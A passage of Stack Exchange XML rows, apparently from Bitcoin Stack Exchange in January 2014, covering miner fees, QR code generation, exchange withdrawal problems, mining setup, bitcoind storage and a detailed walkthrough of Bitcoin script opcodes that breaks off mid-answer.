  <row Id="20507" PostTypeId="2" ParentId="20504" CreationDate="2014-01-13T17:12:19.513" Score="1" Body="&lt;p&gt;If you are running the Qt client on your computer you already have them at &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory#blocks_subdirectory&quot; rel=&quot;nofollow&quot;&gt;this physical location&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to retrieve them through Qt's RPC facility then for index &lt;code&gt;i&lt;/code&gt; = 0 to &lt;code&gt;i&lt;/code&gt; = 99 iterate: &lt;code&gt;getblock(getblockhash[i])&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-01-13T17:12:19.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20509" PostTypeId="1" AcceptedAnswerId="20566" CreationDate="2014-01-13T17:52:08.080" Score="3" ViewCount="290" Body="&lt;p&gt;Yesterday I did my first Bitcoin transaction for something physical. I bought a couple of drinks at a pub.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was shown a QR code which I scanned with my Blockchain.info iPhone app. What caught my eye in &lt;a href=&quot;https://blockchain.info/tx/6da7ae7cef391054ae211ac47de7a4baa5c5000925c4bd6fd539876b12e7451d&quot; rel=&quot;nofollow&quot;&gt;the transaction&lt;/a&gt; were the miner fees of 0.5 mBTC / 5.7 mBTC = 8.7% (much larger than the 2-4% fee for credit cards).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it standard to pay such high miner fees for physical items to expedite confirmation? Did the QR code dictate the miner fee I had to pay, or was it the iPhone app?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-14T18:59:26.150" Title="Why did I pay 8.7% in miner fees?" Tags="|transaction-fees|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20510" PostTypeId="2" ParentId="20509" CreationDate="2014-01-13T19:42:46.403" Score="2" Body="&lt;p&gt;It was the suggested fee that your app set, I believe you can also customize fee size on most apps, but the suggested fee is for confirming the transaction ASAP. I believe POS stuff like that doesn't really care for confirmation time so you can safely set a lower fee.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-13T19:42:46.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20511" PostTypeId="1" AcceptedAnswerId="20513" CreationDate="2014-01-13T20:15:44.107" Score="2" ViewCount="2468" Body="&lt;p&gt;I'm running a the datacoin-qt client and was wondering how do you generate a QR code? This is relatively a new coin and I can generate an address, but I'm not sure where I can goto to generate a QR code for this. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2018-01-17T18:22:47.330" Title="How do you generate a QR code for a not so popular coin?" Tags="|qrcode|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20512" PostTypeId="2" ParentId="20511" CreationDate="2014-01-13T20:38:57.307" Score="2" Body="&lt;p&gt;Do you want to just generate the QR code for one time use, or include the code generation into a program? If the latter you can use this for javascript: &lt;a href=&quot;http://larsjung.de/qrcode/&quot; rel=&quot;nofollow&quot;&gt;http://larsjung.de/qrcode/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12168" LastActivityDate="2014-01-13T20:38:57.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20513" PostTypeId="2" ParentId="20511" CreationDate="2014-01-13T20:49:46.390" Score="2" Body="&lt;p&gt;You can use any QR generator to create the image. Just select type &quot;text&quot;, ECC level &quot;H&quot;, and UTF-8 encoding. The QR codes are nothing more than the address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;a href=&quot;http://goqr.me/&quot; rel=&quot;nofollow&quot;&gt;http://goqr.me/&lt;/a&gt; for a quick online generator. Otherwise Mikael's link works well from what I've heard.&lt;/p&gt;&#xA;" OwnerUserId="4742" LastActivityDate="2014-01-13T20:49:46.390" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20514" PostTypeId="1" CreationDate="2014-01-13T20:57:56.857" Score="-1" ViewCount="1604" Body="&lt;p&gt;Does anyone think Cryptsy is ready to fold...I can't seem to withdraw anything for a while and their support team just give standard responses that are unhelpful. If they do go bust with peoples investment is there any way to get your coins back.....any answers appreciated thanks.&lt;/p&gt;&#xA;" OwnerUserId="12169" LastActivityDate="2014-01-13T21:12:57.417" Title="Withdrawing Bitcoin from Cryptsy" Tags="|cryptsy|" AnswerCount="1" CommentCount="1" ClosedDate="2014-01-25T03:18:11.937" ContentLicense="CC BY-SA 3.0" />
  <row Id="20516" PostTypeId="2" ParentId="20514" CreationDate="2014-01-13T21:12:57.417" Score="2" Body="&lt;p&gt;Since starting cryptsy was one website I never trusted because of delayed credit and debit of coins and second thing their response team respond ticket in very unofficial manner. All you can do is put a withdraw request and wait for 24 hours may be another 24 hours. &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-13T21:12:57.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20517" PostTypeId="1" CreationDate="2014-01-13T21:42:24.737" Score="-1" ViewCount="333" Body="&lt;p&gt;Okay, so I'm on Windows 7 and I'm only getting 300KH/s. Please help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using cgminer, I have the latest AMD drivers (Catalyst).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using -T --intensity 18 -v 2 --worksize 256 --failover-only -d 0,1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GPU Specs:&#xA;730 MHz engine&#xA;1010 Memory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I have to use -T in my batch file, otherwise I get a black screen.&lt;/p&gt;&#xA;" OwnerUserId="12174" LastEditorUserId="12221" LastEditDate="2014-01-14T21:20:44.950" LastActivityDate="2014-01-14T21:20:44.950" Title="SCRYPT [Need Help] Radeon 5970 HD [Apparently supposed to get 750-800KH/s) @ 300kh/s" Tags="|scrypt|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20518" PostTypeId="1" CreationDate="2014-01-13T22:17:02.997" Score="1" ViewCount="219" Body="&lt;p&gt;According to the bitcoin wiki, the data used comes from calling getwork.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;getwork is a JSON-RPC defined at &lt;a href=&quot;https://en.bitcoin.it/wiki/Getwork&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Getwork&lt;/a&gt; as &quot;An RPC method used by a miner to get hashing work to try to solve.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After reviewing the source here: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/142e604184e3ab6dcbe02cebcbe08e5623182b81/src/main.cpp#L3352&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/142e604184e3ab6dcbe02cebcbe08e5623182b81/src/main.cpp#L3352&lt;/a&gt; I was unable to determine the code for the GetWork method. I am mostly curious about the source of the data though. Although the bitcoin system is said to be entirely transparent, it seems to skimp on information regarding the data used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where/what is the origin of the data that is being worked on by the bitcoin hashing algorithm?&lt;/p&gt;&#xA;" OwnerUserId="12175" LastEditorUserId="12175" LastEditDate="2014-01-13T22:36:01.560" LastActivityDate="2014-04-24T20:11:00.513" Title="What is the origin of the data that the bitcoin algorithm operates on?" Tags="|getwork|raw-data|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20519" PostTypeId="2" ParentId="20422" CreationDate="2014-01-13T22:17:22.877" Score="0" Body="&lt;p&gt;I do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Encrypt my wallet with &quot;Password1&quot; and backup to a file&lt;/li&gt;&#xA;&lt;li&gt;Zip the file with &quot;Password2&quot;&lt;/li&gt;&#xA;&lt;li&gt;Store the wallet in all dropbox/skydrive/googledrive/amazondrive&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, even if your computer burns off, you still have your wallet in cloud drives, and even if one or two of those cloud drive providers go out of business or loose your wallet because of bugs in their software, you can still restore it from other cloud drives.&lt;/p&gt;&#xA;" OwnerUserId="11969" LastActivityDate="2014-01-13T22:17:22.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20520" PostTypeId="1" CreationDate="2014-01-13T23:26:44.307" Score="1" ViewCount="902" Body="&lt;p&gt;I need to host a Bitcoind on a VPS. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main issue is the disk space strategy. I don't know the amount of MB the blockchain adds per day or per month.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my disk I have 26GB of disk spent for the Bitcoin installation. There are some numbers about ho much the blockchain will add in disk space over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also looking for VPS with a lot of disk space on the cheap. If you have some advise on this, I will appreciate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best Regards,&lt;/p&gt;&#xA;" OwnerUserId="8710" LastActivityDate="2016-11-10T23:02:41.103" Title="Bitcoind server strategy. How much disk space?" Tags="|blockchain|bitcoind|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20521" PostTypeId="2" ParentId="20520" CreationDate="2014-01-13T23:33:16.480" Score="0" Body="&lt;p&gt;Bitcoin will definitely keep on eating the memory as the blocks and transaction increases search for cheap offshore cloud hosting located in Netherlands you will get good price there. Do not concentrate on RAM or other specs because I think 1GB is sufficient to run single daemon so look out for a provider who provide much space in less money. &lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-01-13T23:33:16.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20523" PostTypeId="1" AcceptedAnswerId="20624" CreationDate="2014-01-14T00:06:30.850" Score="0" ViewCount="408" Body="&lt;p&gt;I am building my own bitcoin client, and I have most of the protocol working from &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_Specification&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_Specification&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I successfully make a connection with the version and verack commands. And when I send a ping, I get back a pong with the same nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am having now is that I don't get the expected response to my getblocks message. I build the block locator using the hash of the genesis block header, and I serialize the message and send it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I don't get the inv message with MSG_BLOCK like I expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the raw bytes that I send as my getblocks message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f9beb4d9676574626c6f636b73000000450000008634d5ae0100000001000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f0000000000000000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is built following the specification here &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_Specification#getblocks&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Protocol_Specification#getblocks&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastEditorUserId="4273" LastEditDate="2014-01-14T18:56:37.720" LastActivityDate="2014-01-15T19:27:59.530" Title="Sending getblocks message but not getting inv message response" Tags="|protocol|message|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20524" PostTypeId="2" ParentId="18240" CreationDate="2014-01-14T00:12:31.077" Score="0" Body="&lt;p&gt;When parsing incoming bitcoin payments, I wanted to show people a record of their topup's. Whenever funds arrived in an address the wallet owned, the -walletnotify callback was run using curl to call the website's URL, and specified the transaction ID. It checked the transaction corresponded to a user (checked the address was in a particular MySQL table). Once this was true, it would be stored with the userid, transaction id, send/receive, and confirmations (=0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before they could spend it, 6 confirmations had to pass. So every time the blocknotify trigger was run, it would gather all transactions in the table which had confirmations &amp;lt;50, and rescanned them every time a block came through. At 7 confirmations they were finally credited to the users database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since users 'spending' on my site only affected the database I ran into trouble, so if you're considering this you might just go with multi-signature transactions, I'm rewriting to build in support for multisig at the moment.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-01-14T00:12:31.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20525" PostTypeId="2" ParentId="13235" CreationDate="2014-01-14T02:37:16.617" Score="0" Body="&lt;p&gt;I use bitcoin Abe (MySQL DB) to parse the block chain so I can import it into Matlab for analytics. There is what appears to be a network attack around &lt;code&gt;block_id&lt;/code&gt; 225503. To get around this and other orphan blocks, I started in the &lt;code&gt;block&lt;/code&gt; table and queried &lt;code&gt;SELECT block_id,block_height,block_ntime,block_total_satoshis,prev_block_id FROM abe.block WHERE block_id=&quot; block# &quot;&lt;/code&gt; I then used &lt;code&gt;prev_block_id&lt;/code&gt; and started at the most recent block in the block chain and worked iteratively backwards using the &lt;code&gt;prev_block_id&lt;/code&gt; to pick the next &lt;code&gt;block_id&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11606" LastActivityDate="2014-01-14T02:37:16.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20526" PostTypeId="1" AcceptedAnswerId="20544" CreationDate="2014-01-14T02:55:37.167" Score="2" ViewCount="268" Body="&lt;p&gt;I am trying to write a script that will allow the receiver of my coins to only spend them on two wallets I specify. After that check has been done I want to perform the usual verification that the current client does to verify a transaction. This is where I am at, but I am not sure if things are in the right order, if OP_EQUAL pushes to the stack, and if OP_BOOLOR reads from it. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptPubKey: OP_EQUAL Wallet1_Value [Wallet] &#xA;              OP_EQUAL Wallet2_Value [Wallet] &#xA;              OP_BOOLOR &#xA;              OP_VERIFY OP_DUP OP_HASH160 [pubKeyHash] OP_EQUALVERIFY OP_CHECKSIG&#xA;&#xA;scriptSig: [Wallet] [Wallet] [sig] [pubKey]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12181" LastActivityDate="2014-01-15T03:26:01.557" Title="Script To Limit Transactions To Specific Wallets" Tags="|transactions|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20528" PostTypeId="2" ParentId="19545" CreationDate="2014-01-14T04:19:04.507" Score="1" Body="&lt;p&gt;Bip38 QR password protection can be read by block chain.info wallets and on android it can be read by the mycellium wallet app. It will pop up a enter your password dialog box once you scan it. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2014-01-14T04:19:04.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20530" PostTypeId="1" CreationDate="2014-01-14T07:14:25.400" Score="2" ViewCount="1450" Body="&lt;p&gt;I've been trying to work with Bitstamp streamline API, which uses Pusher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I managed to connect to some channels, specifically to 'orderbook' and it even returned me 6 items. However it looks like some kind of limit. Does anybody know how do I get the full contents of the orderbook (that is, all orders) throught this streamline API? (I know you can do it via regular REST api, but due to some limitation, I really have to use Websockets and Pusher in this case).&lt;/p&gt;&#xA;" OwnerUserId="2583" LastActivityDate="2016-05-04T15:19:47.883" Title="Bitstamp streamline API: how to get all contents of the ordebooks?" Tags="|api|bitstamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20533" PostTypeId="1" CreationDate="2014-01-14T07:44:58.143" Score="0" ViewCount="1340" Body="&lt;p&gt;In Stratum protocol, since the coinbase transaction has to be hashed in the miner's side, so the pool has to send coinbase1 and coinbase2 to the miners. Therefore, is it possible for the miner to decode the output address of the coinbase from coinbase1 and coinbase2? &lt;/p&gt;&#xA;" OwnerUserId="12185" LastEditorUserId="5406" LastEditDate="2016-04-25T20:57:21.413" LastActivityDate="2016-04-25T20:57:21.413" Title="In Stratum protocol, whether the miners know the mining address?" Tags="|mining-pools|mining-technical-details|stratum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20542" PostTypeId="2" ParentId="20505" CreationDate="2014-01-14T08:33:03.570" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If someone bought X amount of, that would cause the value to increase correct? Wouldn't they then just be able to turn around and resell what they just bought plus any they already had for a higher value?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, because trying to sell the coins would push the value down for the same reason. The further away the price is from its &quot;natural value&quot;, the harder it is to push it further away and the easier it is for it to slip back. So if the price is at its natural value, and you push it up, it gets harder and harder (costing you more and more money) to keep pushing it up. When you start to sell, it's very easy to push it down, so you don't make very much money as you return the price back to its natural price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worse, if you're trying to do this, to push the price really high, you have to keep buying even though the price is high. Well, that's a pretty dumb thing to do. When you finally do get the price high, &lt;em&gt;everyone&lt;/em&gt; can sell at that higher price, not just you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So not only is the profit less than the cost, but you have to pay the whole cost yourself and you have to let everyone else share in the profit. Many people have attempted this strategy and billions have been lost. That doesn't mean it's impossible to make it work, just that it's not nearly as easy as it sounds.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-14T08:33:03.570" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20544" PostTypeId="2" ParentId="20526" CreationDate="2014-01-14T10:11:05.127" Score="1" Body="&lt;h1&gt;How to use &lt;code&gt;OP_BOOLOR&lt;/code&gt; and &lt;code&gt;OP_EQUAL&lt;/code&gt;?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can see the actual implementation for script opcodes in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/script.cpp&quot; rel=&quot;nofollow&quot;&gt;Bitcoin's script.cpp&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_BOOLOR&lt;/code&gt; does this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;CBigNum bn1 = CastToBigNum(stacktop(-2));&#xA;CBigNum bn2 = CastToBigNum(stacktop(-1));&#xA;CBigNum bn;&#xA;[...]&#xA;case OP_BOOLOR:              bn = (bn1 != bnZero || bn2 != bnZero); break;&#xA;[...]&#xA;popstack(stack);&#xA;popstack(stack);&#xA;stack.push_back(bn.getvch());&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it's effectively reading from the stack, popping the values and pushing the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;OP_EQUAL&lt;/code&gt; is pretty much the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;popstack(stack);&#xA;popstack(stack);&#xA;stack.push_back(fEqual ? vchTrue : vchFalse);&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's popping two values from the top and pushing the result of the comparison.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Is the script correct?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Let's run the scripts and see what happens! &lt;code&gt;scriptSig&lt;/code&gt; is executed first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: [Wallet] [Wallet] [sig] [pubKey]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is just pushing into the stack, so after the &lt;code&gt;scriptSig&lt;/code&gt; runs the stack looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[pubKey] &amp;lt;- TOP OF THE STACK&#xA;[sig]&#xA;[Wallet]&#xA;[Wallet]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the elements are reversed. &lt;strong&gt;The first thing pushed goes to the bottom of the stack.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;scriptPubKey&lt;/code&gt; is run keeping the contents of the stack resulting from running &lt;code&gt;scriptSig&lt;/code&gt;. If we do that with your script...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptPubKey: OP_EQUAL Wallet1_Value [Wallet] &#xA;              OP_EQUAL Wallet2_Value [Wallet] &#xA;              OP_BOOLOR &#xA;              OP_VERIFY OP_DUP OP_HASH160 [pubKeyHash] OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...the first thing that gets executed is &lt;code&gt;OP_EQUAL&lt;/code&gt;, which compares the top two elements of the stack &lt;code&gt;[pubKey]  [sig]&lt;/code&gt; which are obviously not equal so &lt;code&gt;0&lt;/code&gt; (false) is pushed. &lt;strong&gt;I'll just stop here&lt;/strong&gt; since it won't make sense at all to continue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Building the correct script&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I guessed what you actually meant to do, and this are my proposed scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I guess the spending user supplies &lt;code&gt;[sig]&lt;/code&gt;, &lt;code&gt;[pubKey]&lt;/code&gt; and &lt;code&gt;[Wallet]&lt;/code&gt; where &lt;code&gt;[Wallet]&lt;/code&gt; is either &lt;code&gt;Wallet1_Value&lt;/code&gt; or &lt;code&gt;Wallet2_Value&lt;/code&gt; to be able to spend the funds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: [sig] [pubKey] [Wallet]&#xA;&#xA;Final stack after running:&#xA;    [Wallet] &amp;lt;- TOP OF THE STACK&#xA;    [pubKey]&#xA;    [sig]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's &lt;code&gt;scriptSig&lt;/code&gt;, and &lt;strong&gt;it's what a user supplies when he wants to spend the funds&lt;/strong&gt;. We're done! Let's build the next step, i.e. the &lt;code&gt;scriptPubKey&lt;/code&gt; that checks if the supplied values are fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing you want to do is to check whether &lt;code&gt;[Wallet]&lt;/code&gt; is one of &lt;code&gt;Wallet1_Value&lt;/code&gt; or &lt;code&gt;Wallet2_Value&lt;/code&gt;. First let's duplicate &lt;code&gt;[Wallet]&lt;/code&gt; so we can check it twice. The first step in &lt;code&gt;scriptPubKey&lt;/code&gt; is &lt;code&gt;OP_DUP&lt;/code&gt;. Let's run both &lt;code&gt;scriptSig&lt;/code&gt; first and the the new &lt;code&gt;scriptPubKey&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: [sig] [pubKey] [Wallet]&#xA;scriptPubKey: OP_DUP &#xA;&#xA;Final stack:&#xA;    [Wallet] &amp;lt;- TOP OF THE STACK&#xA;    [Wallet]&#xA;    [pubKey]&#xA;    [sig]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course we want to check it against &lt;code&gt;Wallet1_Value&lt;/code&gt; first:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: [sig] [pubKey] [Wallet]&#xA;scriptPubKey: OP_DUP [Wallet1_value]&#xA;&#xA;Final stack:&#xA;    Wallet1_Value &amp;lt;- TOP OF THE STACK&#xA;    [Wallet]&#xA;    [Wallet]&#xA;    [pubKey]&#xA;    [sig]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now check the top two items for equality:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: [sig] [pubKey] [Wallet]&#xA;scriptPubKey: OP_DUP [Wallet1_value] OP_EQUAL&#xA;&#xA;Final stack:&#xA;    (== Wallet1, either TRUE or FALSE) &amp;lt;- TOP OF THE STACK&#xA;    [Wallet]&#xA;    [pubKey]&#xA;    [sig]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we want to check the duplicate &lt;code&gt;[Wallet]&lt;/code&gt; against &lt;code&gt;Wallet2_value&lt;/code&gt; but the previous result is at the top of the stack. We must swap it first using &lt;code&gt;OP_SWAP&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: [sig] [pubKey] [Wallet]&#xA;scriptPubKey: OP_DUP [Wallet1_value] OP_EQUAL OP_SWAP&#xA;&#xA;Final stack:&#xA;    [Wallet] &amp;lt;- TOP OF THE STACK&#xA;    (== Wallet1)&#xA;    [pubKey]&#xA;    [sig]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, we push the value we want to check, and &lt;code&gt;OP_EQUAL&lt;/code&gt; it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: [sig] [pubKey] [Wallet]&#xA;scriptPubKey: OP_DUP [Wallet1_value] OP_EQUAL OP_SWAP [Wallet2_value] OP_EQUAL&#xA;&#xA;Final stack:&#xA;    (== Wallet2) &amp;lt;- TOP OF THE STACK&#xA;    (== Wallet1)&#xA;    [pubKey]&#xA;    [sig]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script is pretty much done. Now just &lt;code&gt;OP_BOOLOR OP_VERIFY&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scriptSig: [sig] [pubKey] [Wallet]&#xA;scriptPubKey: OP_DUP [Wallet1_value] OP_EQUAL OP_SWAP [Wallet2_value] OP_EQUAL OP_BOOLOR OP_VERIFY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;OP_VERIFY&lt;/code&gt; finds &lt;code&gt;FALSE&lt;/code&gt; at the top of the stack it will reject the transaction. If it finds &lt;code&gt;TRUE&lt;/code&gt; the script continues and the stack looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Final stack if correct [Wallet] was provided:&#xA;    [pubKey]&#xA;    [sig]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which is what the stack looks like after a regular &lt;code&gt;scriptSig&lt;/code&gt;!&lt;/strong&gt; So the rest of the &lt;code&gt;scriptPubKey&lt;/code&gt; is just a regular &lt;code&gt;pay-to-pubkey-hash&lt;/code&gt; script. The final &lt;code&gt;scriptPubKey&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP [Wallet1_value] OP_EQUAL OP_SWAP [Wallet2_value] OP_EQUAL OP_BOOLOR OP_VERIFY&#xA;OP_DUP OP_HASH160 [pubKeyHash] OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Actual security&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now, regardless of the order, &lt;strong&gt;the script is not very secure&lt;/strong&gt;. I get this might just be an exercise in understanding scripts or is not meant to be secure (it might be only a check to avoid spending from unwanted wallets) but I think it's important to show how this is actually not secure at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever you publish a transaction using this scheme, the output &lt;code&gt;scriptPubKey&lt;/code&gt; is &lt;strong&gt;publicly available&lt;/strong&gt; and looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OP_DUP [Wallet1_value] OP_EQUAL OP_SWAP [Wallet2_value] OP_EQUAL OP_BOOLOR OP_VERIFY&#xA;OP_DUP OP_HASH160 [pubKeyHash] OP_EQUALVERIFY OP_CHECKSIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both &lt;code&gt;Wallet1_value&lt;/code&gt; and &lt;code&gt;Wallet2_value&lt;/code&gt; are public for anyone to see in the blockchain! The security still depends &lt;strong&gt;ONLY&lt;/strong&gt; on &lt;code&gt;[sig] [pubKey]&lt;/code&gt; since I know exactly what's required to spend the transaction, i.e. &lt;strong&gt;the script security is equivalent to a regular&lt;/strong&gt; &lt;code&gt;pay-to-pubkey-hash&lt;/code&gt; &lt;strong&gt;transaction!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;EDIT: A little bit safer (response to comment)&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Could you require Wallet1_value and Wallet2_value be hashes instead? Then the scriptsig would have to supply a hash of one of the two wallets.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Actually it's very easy (changes shown in &lt;strong&gt;bold face&lt;/strong&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;OP_HASH256&lt;/strong&gt; OP_DUP [Wallet1_&lt;strong&gt;hash&lt;/strong&gt;] OP_EQUAL OP_SWAP [Wallet2_&lt;strong&gt;hash&lt;/strong&gt;] OP_EQUAL OP_BOOLOR OP_VERIFY OP_DUP OP_HASH160 [pubKeyHash] OP_EQUALVERIFY OP_CHECKSIG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the top of the stack is hashed 